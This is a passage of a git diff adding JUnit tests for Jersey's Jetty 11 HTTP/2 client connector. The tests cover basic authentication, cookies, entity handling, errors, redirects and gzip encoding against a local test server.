@@ -0,0 +1,72 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.authentication.HttpAuthenticationFeature; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class AuthFilterTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(AuthFilterTest.class.getName()); + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(AuthTest.AuthResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + @Test + public void testAuthGetWithClientFilter() { + client().register(HttpAuthenticationFeature.basic("name", "password")); + Response response = target("test/filter").request().get(); + assertEquals("GET", response.readEntity(String.class)); + } + + @Test + public void testAuthPostWithClientFilter() { + client().register(HttpAuthenticationFeature.basic("name", "password")); + Response response = target("test/filter").request().post(Entity.text("POST")); + assertEquals("POST", response.readEntity(String.class)); + } + + + @Test + public void testAuthDeleteWithClientFilter() { + client().register(HttpAuthenticationFeature.basic("name", "password")); + Response response = target("test/filter").request().delete(); + assertEquals(204, response.getStatus()); + } + +} \ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java new file mode 100644 index 0000000..7fe2edf --- /dev/null +++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java
@@ -0,0 +1,192 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.eclipse.jetty.client.util.BasicAuthentication; +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.jetty.connector.JettyClientProperties; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.inject.Singleton; +import jakarta.ws.rs.DELETE; +import jakarta.ws.rs.GET; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.WebApplicationException; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Context; +import jakarta.ws.rs.core.HttpHeaders; +import jakarta.ws.rs.core.Response; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class AuthTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(AuthTest.class.getName()); + private static final String PATH = "test"; + + @Path("/test") + @Singleton + public static class AuthResource { + + int requestCount = 0; + + @GET + public String get(@Context HttpHeaders h) { + requestCount++; + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + assertEquals(1, requestCount); + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } else { + assertTrue(requestCount > 1); + } + + return "GET"; + } + + @GET + @Path("filter") + public String getFilter(@Context HttpHeaders h) { + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } + + return "GET"; + } + + @POST + public String post(@Context HttpHeaders h, String e) { + requestCount++; + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + assertEquals(1, requestCount); + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } else { + assertTrue(requestCount > 1); + } + + return e; + } + + @POST + @Path("filter") + public String postFilter(@Context HttpHeaders h, String e) { + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } + + return e; + } + + @DELETE + public void delete(@Context HttpHeaders h) { + requestCount++; + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + assertEquals(1, requestCount); + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } else { + assertTrue(requestCount > 1); + } + } + + @DELETE + @Path("filter") + public void deleteFilter(@Context HttpHeaders h) { + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } + } + + @DELETE + @Path("filter/withEntity") + public String deleteFilterWithEntity(@Context HttpHeaders h, String e) { + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } + + return e; + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(AuthResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Test + public void testAuthGet() { + ClientConfig config = new ClientConfig(); + config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION, + new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password")); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + Client client = ClientBuilder.newClient(config); + + Response response = client.target(getBaseUri()).path(PATH).request().get(); + assertEquals("GET", response.readEntity(String.class)); + client.close(); + } + + @Test + public void testAuthPost() { + ClientConfig config = new ClientConfig(); + config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION, + new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password")); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + Client client = ClientBuilder.newClient(config); + + Response response = client.target(getBaseUri()).path(PATH).request().post(Entity.text("POST")); + assertEquals("POST", response.readEntity(String.class)); + client.close(); + } + + @Test + public void testAuthDelete() { + ClientConfig config = new ClientConfig(); + config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION, + new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password")); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + Client client = ClientBuilder.newClient(config); + + Response response = client.target(getBaseUri()).path(PATH).request().delete(); + assertEquals(response.getStatus(), 204); + client.close(); + } + +} \ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java new file mode 100644 index 0000000..eb1c653 --- /dev/null +++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java
@@ -0,0 +1,117 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.JerseyClient; +import org.glassfish.jersey.client.JerseyClientBuilder; +import org.glassfish.jersey.jetty.connector.JettyClientProperties; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Context; +import jakarta.ws.rs.core.Cookie; +import jakarta.ws.rs.core.HttpHeaders; +import jakarta.ws.rs.core.NewCookie; +import jakarta.ws.rs.core.Response; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertNull; +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class CookieTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(CookieTest.class.getName()); + + @Path("/") + public static class CookieResource { + @GET + public Response get(@Context HttpHeaders h) { + Cookie c = h.getCookies().get("name"); + String e = (c == null) ? "NO-COOKIE" : c.getValue(); + return Response.ok(e) + .cookie(new NewCookie("name", "value")).build(); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(CookieResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Test + public void testCookieResource() { + ClientConfig config = new ClientConfig(); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + Client client = ClientBuilder.newClient(config); + WebTarget r = client.target(getBaseUri()); + + + assertEquals("NO-COOKIE", r.request().get(String.class)); + assertEquals("value", r.request().get(String.class)); + client.close(); + } + + @Test + public void testDisabledCookies() { + ClientConfig cc = new ClientConfig(); + cc.property(JettyClientProperties.DISABLE_COOKIES, true); + cc.connectorProvider(new JettyHttp2ConnectorProvider()); + JerseyClient client = JerseyClientBuilder.createClient(cc); + WebTarget r = client.target(getBaseUri()); + + assertEquals("NO-COOKIE", r.request().get(String.class)); + assertEquals("NO-COOKIE", r.request().get(String.class)); + + final JettyHttp2Connector connector = (JettyHttp2Connector) client.getConfiguration().getConnector(); + if (connector.getCookieStore() != null) { + assertTrue(connector.getCookieStore().getCookies().isEmpty()); + } else { + assertNull(connector.getCookieStore()); + } + client.close(); + } + + @Test + public void testCookies() { + ClientConfig cc = new ClientConfig(); + cc.connectorProvider(new JettyHttp2ConnectorProvider()); + JerseyClient client = JerseyClientBuilder.createClient(cc); + WebTarget r = client.target(getBaseUri()); + + assertEquals("NO-COOKIE", r.request().get(String.class)); + assertEquals("value", r.request().get(String.class)); + + final JettyHttp2Connector connector = (JettyHttp2Connector) client.getConfiguration().getConnector(); + assertNotNull(connector.getCookieStore().getCookies()); + assertEquals(1, connector.getCookieStore().getCookies().size()); + assertEquals("value", connector.getCookieStore().getCookies().get(0).getValue()); + client.close(); + } +} \ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CustomLoggingFilter.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CustomLoggingFilter.java new file mode 100644 index 0000000..369169a --- /dev/null +++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CustomLoggingFilter.java
@@ -0,0 +1,64 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import jakarta.ws.rs.client.ClientRequestContext; +import jakarta.ws.rs.client.ClientRequestFilter; +import jakarta.ws.rs.client.ClientResponseContext; +import jakarta.ws.rs.client.ClientResponseFilter; +import jakarta.ws.rs.container.ContainerRequestContext; +import jakarta.ws.rs.container.ContainerRequestFilter; +import jakarta.ws.rs.container.ContainerResponseContext; +import jakarta.ws.rs.container.ContainerResponseFilter; +import java.io.IOException; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class CustomLoggingFilter implements ContainerRequestFilter, ContainerResponseFilter, + ClientRequestFilter, ClientResponseFilter { + + static int preFilterCalled = 0; + static int postFilterCalled = 0; + + @Override + public void filter(ClientRequestContext context) throws IOException { + System.out.println("CustomLoggingFilter.preFilter called"); + assertEquals("bar", context.getConfiguration().getProperty("foo")); + preFilterCalled++; + } + + @Override + public void filter(ClientRequestContext context, ClientResponseContext clientResponseContext) throws IOException { + System.out.println("CustomLoggingFilter.postFilter called"); + assertEquals("bar", context.getConfiguration().getProperty("foo")); + postFilterCalled++; + } + + @Override + public void filter(ContainerRequestContext context) throws IOException { + System.out.println("CustomLoggingFilter.preFilter called"); + assertEquals("bar", context.getProperty("foo")); + preFilterCalled++; + } + + @Override + public void filter(ContainerRequestContext context, ContainerResponseContext containerResponseContext) throws IOException { + System.out.println("CustomLoggingFilter.postFilter called"); + assertEquals("bar", context.getProperty("foo")); + postFilterCalled++; + } +} \ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/EntityTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/EntityTest.java new file mode 100644 index 0000000..0f508ca --- /dev/null +++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/EntityTest.java
@@ -0,0 +1,151 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.jackson.JacksonFeature; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; +import jakarta.xml.bind.annotation.XmlRootElement; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.TimeoutException; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class EntityTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(EntityTest.class.getName()); + + private static final String PATH = "test"; + + @Path("/test") + public static class EntityResource { + + @GET + public Person get() { + return new Person("John", "Doe"); + } + + @POST + public Person post(Person entity) { + return entity; + } + + } + + @XmlRootElement + public static class Person { + + private String firstName; + private String lastName; + + public Person() { + } + + public Person(String firstName, String lastName) { + this.firstName = firstName; + this.lastName = lastName; + } + + public String getFirstName() { + return firstName; + } + + public void setFirstName(String firstName) { + this.firstName = firstName; + } + + public String getLastName() { + return lastName; + } + + public void setLastName(String lastName) { + this.lastName = lastName; + } + + @Override + public String toString() { + return firstName + " " + lastName; + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(EntityResource.class, JacksonFeature.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()) + .register(JacksonFeature.class); + } + + @Test + public void testGet() { + Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).get(); + Person person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).get(); + person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + } + + @Test + public void testGetAsync() throws ExecutionException, InterruptedException { + Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).async().get().get(); + Person person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).async().get().get(); + person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + } + + @Test + public void testPost() { + Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).post(Entity.xml(new Person("John", "Doe"))); + Person person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).post(Entity.xml(new Person("John", "Doe"))); + person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + } + + @Test + public void testPostAsync() throws ExecutionException, InterruptedException, TimeoutException { + Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).async() + .post(Entity.xml(new Person("John", "Doe"))).get(); + Person person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).async().post(Entity.xml(new Person("John", "Doe"))) + .get(); + person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + } +} \ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ErrorTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ErrorTest.java new file mode 100644 index 0000000..64d8198 --- /dev/null +++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ErrorTest.java
@@ -0,0 +1,119 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.ClientErrorException; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class ErrorTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(ErrorTest.class.getName()); + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(ErrorResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + + @Path("/test") + public static class ErrorResource { + @POST + public Response post(String entity) { + return Response.serverError().build(); + } + + @Path("entity") + @POST + public Response postWithEntity(String entity) { + return Response.serverError().entity("error").build(); + } + } + + @Test + public void testPostError() { + WebTarget r = target("test"); + + for (int i = 0; i < 100; i++) { + try { + r.request().post(Entity.text("POST")); + } catch (ClientErrorException ex) { + } + } + } + + @Test + public void testPostErrorWithEntity() { + WebTarget r = target("test"); + + for (int i = 0; i < 100; i++) { + try { + r.request().post(Entity.text("POST")); + } catch (ClientErrorException ex) { + String s = ex.getResponse().readEntity(String.class); + assertEquals("error", s); + } + } + } + + @Test + public void testPostErrorAsync() { + WebTarget r = target("test"); + + for (int i = 0; i < 100; i++) { + try { + r.request().async().post(Entity.text("POST")); + } catch (ClientErrorException ex) { + } + } + } + + @Test + public void testPostErrorWithEntityAsync() { + WebTarget r = target("test"); + + for (int i = 0; i < 100; i++) { + try { + r.request().async().post(Entity.text("POST")); + } catch (ClientErrorException ex) { + String s = ex.getResponse().readEntity(String.class); + assertEquals("error", s); + } + } + } +} \ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/FollowRedirectsTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/FollowRedirectsTest.java new file mode 100644 index 0000000..2604f9b --- /dev/null +++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/FollowRedirectsTest.java
@@ -0,0 +1,129 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.client.ClientResponse; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.ClientRequestContext; +import jakarta.ws.rs.client.ClientResponseContext; +import jakarta.ws.rs.client.ClientResponseFilter; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import jakarta.ws.rs.core.UriBuilder; +import java.io.IOException; +import java.net.URI; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class FollowRedirectsTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(FollowRedirectsTest.class.getName()); + + @Path("/test") + public static class RedirectResource { + @GET + public String get() { + return "GET"; + } + + @GET + @Path("redirect") + public Response redirect() { + return Response.seeOther(UriBuilder.fromResource(RedirectResource.class).build()).build(); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(RedirectResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.property(ClientProperties.FOLLOW_REDIRECTS, false); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + private static class RedirectTestFilter implements ClientResponseFilter { + public static final String RESOLVED_URI_HEADER = "resolved-uri"; + + @Override + public void filter(ClientRequestContext requestContext, ClientResponseContext responseContext) throws IOException { + if (responseContext instanceof ClientResponse) { + ClientResponse clientResponse = (ClientResponse) responseContext; + responseContext.getHeaders().putSingle(RESOLVED_URI_HEADER, clientResponse.getResolvedRequestUri().toString()); + } + } + } + + @Test + public void testDoFollow() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig().property(ClientProperties.FOLLOW_REDIRECTS, true); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + Client c = ClientBuilder.newClient(config); + WebTarget t = c.target(u); + Response r = t.path("test/redirect") + .register(RedirectTestFilter.class) + .request().get(); + assertEquals(200, r.getStatus()); + assertEquals("GET", r.readEntity(String.class)); + c.close(); + } + + @Test + public void testDoFollowPerRequestOverride() { + WebTarget t = target("test/redirect"); + t.property(ClientProperties.FOLLOW_REDIRECTS, true); + Response r = t.request().get(); + assertEquals(200, r.getStatus()); + assertEquals("GET", r.readEntity(String.class)); + } + + @Test + public void testDontFollow() { + WebTarget t = target("test/redirect"); + assertEquals(303, t.request().get().getStatus()); + } + + @Test + public void testDontFollowPerRequestOverride() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig().property(ClientProperties.FOLLOW_REDIRECTS, true); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + Client client = ClientBuilder.newClient(config); + WebTarget t = client.target(u); + t.property(ClientProperties.FOLLOW_REDIRECTS, false); + Response r = t.path("test/redirect").request().get(); + assertEquals(303, r.getStatus()); + client.close(); + } +} \ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/GZIPContentEncodingTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/GZIPContentEncodingTest.java new file mode 100644 index 0000000..29bb444 --- /dev/null +++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/GZIPContentEncodingTest.java
@@ -0,0 +1,100 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.message.GZipEncoder; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; +import java.util.Arrays; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class GZIPContentEncodingTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(EntityTest.class.getName()); + + @Path("/") + public static class Resource { + + @POST + public byte[] post(byte[] content) { + return content; + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(Resource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.register(GZipEncoder.class); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + @Test + public void testPost() { + WebTarget r = target(); + byte[] content = new byte[1024 * 1024]; + assertTrue(Arrays.equals(content, + r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class))); + + Response cr = r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)); + assertTrue(cr.hasEntity()); + cr.close(); + } + + @Test + public void testPostChunked() { + ClientConfig config = new ClientConfig(); + config.property(ClientProperties.CHUNKED_ENCODING_SIZE, 1024); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + + Client client = ClientBuilder.newClient(config); + WebTarget r = client.target(getBaseUri()); + + byte[] content = new byte[1024 * 1024]; + assertTrue(Arrays.equals(content, + r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class))); + + Response cr = r.request().post(Entity.text("POST")); + assertTrue(cr.hasEntity()); + cr.close(); + + client.close(); + } + +} \ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java new file mode 100644 index 0000000..ac6870a --- /dev/null +++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java
